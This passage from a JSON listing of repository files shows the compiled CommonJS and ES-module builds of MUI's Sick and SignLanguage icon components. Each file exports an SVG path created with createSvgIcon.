    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.32 10.56 8.38 9.5 7.32 8.44l1.06-1.06L10.5 9.5l-2.12 2.12zM4.5 9c.03 0 .05.01.08.01C5.77 6.07 8.64 4 12 4c2.19 0 4.16.88 5.61 2.3.15-.6.45-1.29.81-1.96C16.68 2.88 14.44 2 11.99 2c-4.88 0-8.94 3.51-9.81 8.14C2.74 9.44 3.59 9 4.5 9M21 10.5c-.42 0-.82-.09-1.19-.22.12.55.19 1.13.19 1.72 0 4.42-3.58 8-8 8-3.36 0-6.23-2.07-7.42-5.01-.03 0-.05.01-.08.01-.52 0-1.04-.14-1.5-.4-.32-.18-.59-.42-.82-.7.89 4.61 4.93 8.1 9.8 8.1C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12M21 3s-2 2.9-2 4 .9 2 2 2 2-.9 2-2-2-4-2-4m-5.38 4.38L13.5 9.5l2.12 2.12 1.06-1.06-1.06-1.06 1.06-1.06zM8.56 17c.69-1.19 1.97-2 3.44-2s2.75.81 3.44 2h1.68c-.8-2.05-2.79-3.5-5.12-3.5-.87 0-1.7.2-2.43.57L5.99 12c0-.52-.26-1.02-.74-1.29-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.63.55 2.05.48.28 1.05.25 1.49 0l2.97 1.72c-.57.53-1.03 1.21-1.33 1.97z\"\n}), 'SickOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.32 10.56 8.38 9.5 7.32 8.44l1.06-1.06L10.5 9.5l-2.12 2.12zM4.5 9c.03 0 .05.01.08.01C5.77 6.07 8.64 4 12 4c2.19 0 4.16.88 5.61 2.3.15-.6.45-1.29.81-1.96C16.68 2.88 14.44 2 11.99 2c-4.88 0-8.94 3.51-9.81 8.14C2.74 9.44 3.59 9 4.5 9M21 10.5c-.42 0-.82-.09-1.19-.22.12.55.19 1.13.19 1.72 0 4.42-3.58 8-8 8-3.36 0-6.23-2.07-7.42-5.01-.03 0-.05.01-.08.01-.52 0-1.04-.14-1.5-.4-.32-.18-.59-.42-.82-.7.89 4.61 4.93 8.1 9.8 8.1C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12M21 3s-2 2.9-2 4 .9 2 2 2 2-.9 2-2-2-4-2-4m-5.38 4.38L13.5 9.5l2.12 2.12 1.06-1.06-1.06-1.06 1.06-1.06zM8.56 17c.69-1.19 1.97-2 3.44-2s2.75.81 3.44 2h1.68c-.8-2.05-2.79-3.5-5.12-3.5-.87 0-1.7.2-2.43.57L5.99 12c0-.52-.26-1.02-.74-1.29-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.63.55 2.05.48.28 1.05.25 1.49 0l2.97 1.72c-.57.53-1.03 1.21-1.33 1.97z\"\n}), 'SickOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 7c0 1.1-.9 2-2 2s-2-.9-2-2c0-.78.99-2.44 1.58-3.36.2-.31.64-.31.84 0C22.01 4.56 23 6.22 23 7m-1.14 3.38c.08.53.14 1.07.14 1.62 0 5.52-4.48 10-10.01 10C6.47 22 2 17.52 2 12S6.47 2 11.99 2c2.45 0 4.69.88 6.43 2.34-.51.95-.92 1.93-.92 2.66 0 1.93 1.57 3.5 3.5 3.5.3 0 .58-.05.86-.12m-7.83-.35 1.06 1.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.53-.53.53-.53c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-1.06 1.06c-.29.29-.29.77 0 1.06M8.38 9.5l-.53.53c-.29.29-.29.77 0 1.06s.77.29 1.06 0l1.06-1.06c.29-.29.29-.77 0-1.06L8.91 7.91c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06zm8.09 6.3c-1-1.39-2.62-2.3-4.47-2.3-.87 0-1.69.2-2.43.56L5.99 12c0-.52-.26-1.02-.74-1.29-.8-.46-1.84-.11-2.17.8-.21.57-.03 1.25.44 1.64.52.44 1.2.45 1.72.16l2.97 1.72c-.25.24-.48.5-.68.78-.36.49 0 1.19.62 1.19.23 0 .46-.1.6-.3.72-1.02 1.9-1.7 3.25-1.7s2.53.68 3.25 1.7c.14.19.36.3.6.3.62 0 .98-.7.62-1.2\"\n}), 'SickRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 7c0 1.1-.9 2-2 2s-2-.9-2-2c0-.78.99-2.44 1.58-3.36.2-.31.64-.31.84 0C22.01 4.56 23 6.22 23 7m-1.14 3.38c.08.53.14 1.07.14 1.62 0 5.52-4.48 10-10.01 10C6.47 22 2 17.52 2 12S6.47 2 11.99 2c2.45 0 4.69.88 6.43 2.34-.51.95-.92 1.93-.92 2.66 0 1.93 1.57 3.5 3.5 3.5.3 0 .58-.05.86-.12m-7.83-.35 1.06 1.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.53-.53.53-.53c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-1.06 1.06c-.29.29-.29.77 0 1.06M8.38 9.5l-.53.53c-.29.29-.29.77 0 1.06s.77.29 1.06 0l1.06-1.06c.29-.29.29-.77 0-1.06L8.91 7.91c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06zm8.09 6.3c-1-1.39-2.62-2.3-4.47-2.3-.87 0-1.69.2-2.43.56L5.99 12c0-.52-.26-1.02-.74-1.29-.8-.46-1.84-.11-2.17.8-.21.57-.03 1.25.44 1.64.52.44 1.2.45 1.72.16l2.97 1.72c-.25.24-.48.5-.68.78-.36.49 0 1.19.62 1.19.23 0 .46-.1.6-.3.72-1.02 1.9-1.7 3.25-1.7s2.53.68 3.25 1.7c.14.19.36.3.6.3.62 0 .98-.7.62-1.2\"\n}), 'SickRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2m-3.5-2c0-.73.41-1.71.92-2.66C16.68 2.88 14.44 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12-1.93 0-3.5-1.57-3.5-3.5m-1.88.38 1.06 1.06-1.06 1.06 1.06 1.06-1.06 1.06L13.5 9.5zm-8.3 1.06 1.06-1.06L10.5 9.5l-2.12 2.12-1.06-1.06L8.38 9.5zM15.44 17c-.69-1.19-1.97-2-3.44-2s-2.75.81-3.44 2H6.88c.3-.76.76-1.43 1.34-1.99L5.24 13.3c-.45.26-1.01.28-1.49 0-.72-.41-.96-1.33-.55-2.05s1.33-.96 2.05-.55c.48.28.74.78.74 1.29l3.58 2.07c.73-.36 1.55-.56 2.43-.56 2.33 0 4.32 1.45 5.12 3.5z\"\n}), 'SickSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2m-3.5-2c0-.73.41-1.71.92-2.66C16.68 2.88 14.44 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12-1.93 0-3.5-1.57-3.5-3.5m-1.88.38 1.06 1.06-1.06 1.06 1.06 1.06-1.06 1.06L13.5 9.5zm-8.3 1.06 1.06-1.06L10.5 9.5l-2.12 2.12-1.06-1.06L8.38 9.5zM15.44 17c-.69-1.19-1.97-2-3.44-2s-2.75.81-3.44 2H6.88c.3-.76.76-1.43 1.34-1.99L5.24 13.3c-.45.26-1.01.28-1.49 0-.72-.41-.96-1.33-.55-2.05s1.33-.96 2.05-.55c.48.28.74.78.74 1.29l3.58 2.07c.73-.36 1.55-.56 2.43-.56 2.33 0 4.32 1.45 5.12 3.5z\"\n}), 'SickSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.32 10.56 8.38 9.5 7.32 8.44l1.06-1.06L10.5 9.5l-2.12 2.12zM4.5 9c.03 0 .05.01.08.01C5.77 6.07 8.64 4 12 4c2.19 0 4.16.88 5.61 2.3.15-.6.45-1.29.81-1.96C16.68 2.88 14.44 2 11.99 2c-4.88 0-8.94 3.51-9.81 8.14C2.74 9.44 3.59 9 4.5 9M21 10.5c-.42 0-.82-.09-1.19-.22.12.55.19 1.13.19 1.72 0 4.42-3.58 8-8 8-3.36 0-6.23-2.07-7.42-5.01-.03 0-.05.01-.08.01-.52 0-1.04-.14-1.5-.4-.32-.18-.59-.42-.82-.7.89 4.61 4.93 8.1 9.8 8.1C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12M21 3s-2 2.9-2 4 .9 2 2 2 2-.9 2-2-2-4-2-4m-5.38 4.38L13.5 9.5l2.12 2.12 1.06-1.06-1.06-1.06 1.06-1.06zM8.56 17c.69-1.19 1.97-2 3.44-2s2.75.81 3.44 2h1.68c-.8-2.05-2.79-3.5-5.12-3.5-.87 0-1.7.2-2.43.57L5.99 12c0-.52-.26-1.02-.74-1.29-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.63.55 2.05.48.28 1.05.25 1.49 0l2.97 1.72c-.57.53-1.03 1.21-1.33 1.97z\"\n}), 'SickTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SickTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.32 10.56 8.38 9.5 7.32 8.44l1.06-1.06L10.5 9.5l-2.12 2.12zM4.5 9c.03 0 .05.01.08.01C5.77 6.07 8.64 4 12 4c2.19 0 4.16.88 5.61 2.3.15-.6.45-1.29.81-1.96C16.68 2.88 14.44 2 11.99 2c-4.88 0-8.94 3.51-9.81 8.14C2.74 9.44 3.59 9 4.5 9M21 10.5c-.42 0-.82-.09-1.19-.22.12.55.19 1.13.19 1.72 0 4.42-3.58 8-8 8-3.36 0-6.23-2.07-7.42-5.01-.03 0-.05.01-.08.01-.52 0-1.04-.14-1.5-.4-.32-.18-.59-.42-.82-.7.89 4.61 4.93 8.1 9.8 8.1C17.52 22 22 17.52 22 12c0-.55-.06-1.09-.14-1.62-.28.07-.56.12-.86.12M21 3s-2 2.9-2 4 .9 2 2 2 2-.9 2-2-2-4-2-4m-5.38 4.38L13.5 9.5l2.12 2.12 1.06-1.06-1.06-1.06 1.06-1.06zM8.56 17c.69-1.19 1.97-2 3.44-2s2.75.81 3.44 2h1.68c-.8-2.05-2.79-3.5-5.12-3.5-.87 0-1.7.2-2.43.57L5.99 12c0-.52-.26-1.02-.74-1.29-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.63.55 2.05.48.28 1.05.25 1.49 0l2.97 1.72c-.57.53-1.03 1.21-1.33 1.97z\"\n}), 'SickTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01l.26-.13 5.73 5.46c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm-.71-5.88c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.35l-.27-.1c-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l3.61 3.43.61.58c.29.27.53.57.73.9\"\n}), 'SignLanguage');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01l.26-.13 5.73 5.46c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm-.71-5.88c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.35l-.27-.1c-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l3.61 3.43.61.58c.29.27.53.57.73.9\"\n}), 'SignLanguage');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01l.26-.13 5.73 5.46c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm1.51.2V15h-2v7h4c.55 0 1-.45 1-1v-4.53c0-.27-.11-.54-.31-.73zm-2.22-6.08c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.35l-.27-.1c-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l1.93-1.87 1.38 1.45L20 7.34v3.7c0 .28-.11.54-.31.73l-.7.66.61.58c.29.27.53.57.73.9\"\n}), 'SignLanguageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01l.26-.13 5.73 5.46c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm1.51.2V15h-2v7h4c.55 0 1-.45 1-1v-4.53c0-.27-.11-.54-.31-.73zm-2.22-6.08c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.35l-.27-.1c-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l1.93-1.87 1.38 1.45L20 7.34v3.7c0 .28-.11.54-.31.73l-.7.66.61.58c.29.27.53.57.73.9\"\n}), 'SignLanguageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01.16-.08.34-.05.47.07l5.53 5.26c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm-.71-5.88c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.64c0-.17-.11-.33-.27-.39-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l3.61 3.43.61.58c.29.27.53.57.73.9\"\n}), 'SignLanguageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01.16-.08.34-.05.47.07l5.53 5.26c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm-.71-5.88c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.64c0-.17-.11-.33-.27-.39-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l3.61 3.43.61.58c.29.27.53.57.73.9\"\n}), 'SignLanguageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.49 13-1.39-2.7L12.49 9 19 15.2V24H4.5v-2H10v-1H3v-2h7v-1H2v-2h8v-1H3.5v-2zm-.71-5.88c-.84.4-1.17.62-1.63 1.19L6.76 4.74l1.45-1.38zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L5.62 7.89l1.45-1.38zm12.34 3.13L22 3.35l-1.9-.1-1 2.86L13.3 0l-1.45 1.38 4.09 4.3-.73.69L9.74.64 8.3 2l3.36 3.53 1.06 1.11 2.65 2.33 5.08 4.83z\"\n}), 'SignLanguageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.49 13-1.39-2.7L12.49 9 19 15.2V24H4.5v-2H10v-1H3v-2h7v-1H2v-2h8v-1H3.5v-2zm-.71-5.88c-.84.4-1.17.62-1.63 1.19L6.76 4.74l1.45-1.38zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L5.62 7.89l1.45-1.38zm12.34 3.13L22 3.35l-1.9-.1-1 2.86L13.3 0l-1.45 1.38 4.09 4.3-.73.69L9.74.64 8.3 2l3.36 3.53 1.06 1.11 2.65 2.33 5.08 4.83z\"\n}), 'SignLanguageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 13.2V15h-2v7h4c.55 0 1-.45 1-1v-4.53c0-.27-.11-.54-.31-.73zM15.38 9l1.93-1.87 1.38 1.45L20 7.34v3.7c0 .28-.11.54-.31.73l-.7.66z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01l.26-.13 5.73 5.46c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm1.51.2V15h-2v7h4c.55 0 1-.45 1-1v-4.53c0-.27-.11-.54-.31-.73zm-2.22-6.08c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.35l-.27-.1c-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l1.93-1.87 1.38 1.45L20 7.34v3.7c0 .28-.11.54-.31.73l-.7.66.61.58c.29.27.53.57.73.9\"\n}, \"1\")], 'SignLanguageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignLanguageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 13.2V15h-2v7h4c.55 0 1-.45 1-1v-4.53c0-.27-.11-.54-.31-.73zM15.38 9l1.93-1.87 1.38 1.45L20 7.34v3.7c0 .28-.11.54-.31.73l-.7.66z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.49 13-.93-1.86c-.37-.74-.07-1.64.67-2.01l.26-.13 5.73 5.46c.5.47.78 1.13.78 1.81v5.23c0 1.38-1.12 2.5-2.5 2.5h-11c-.55 0-1-.45-1-1s.45-1 1-1H10v-1H4c-.55 0-1-.45-1-1s.45-1 1-1h6v-1H3c-.55 0-1-.45-1-1s.45-1 1-1h7v-1H4.5c-.55 0-1-.45-1-1s.45-1 1-1zm1.51.2V15h-2v7h4c.55 0 1-.45 1-1v-4.53c0-.27-.11-.54-.31-.73zm-2.22-6.08c-.84.4-1.17.62-1.63 1.19l-2.7-2.85c-.38-.4-.36-1.03.04-1.41s1.03-.36 1.41.04zM9.64 9.21c-.23.55-.29 1.24-.2 1.79h-.86L6.31 8.61c-.38-.4-.37-1.03.04-1.41.4-.38 1.03-.36 1.41.04zm10.69 4.7.88-.83c.5-.47.79-1.13.79-1.82V3.35l-.27-.1c-.78-.28-1.64.12-1.92.9l-.71 1.96-5.5-5.8c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.79 3.99-.73.69-4.82-5.08c-.38-.4-1.01-.42-1.41-.04s-.42 1.01-.04 1.41l3.78 3.98L15.38 9l1.93-1.87 1.38 1.45L20 7.34v3.7c0 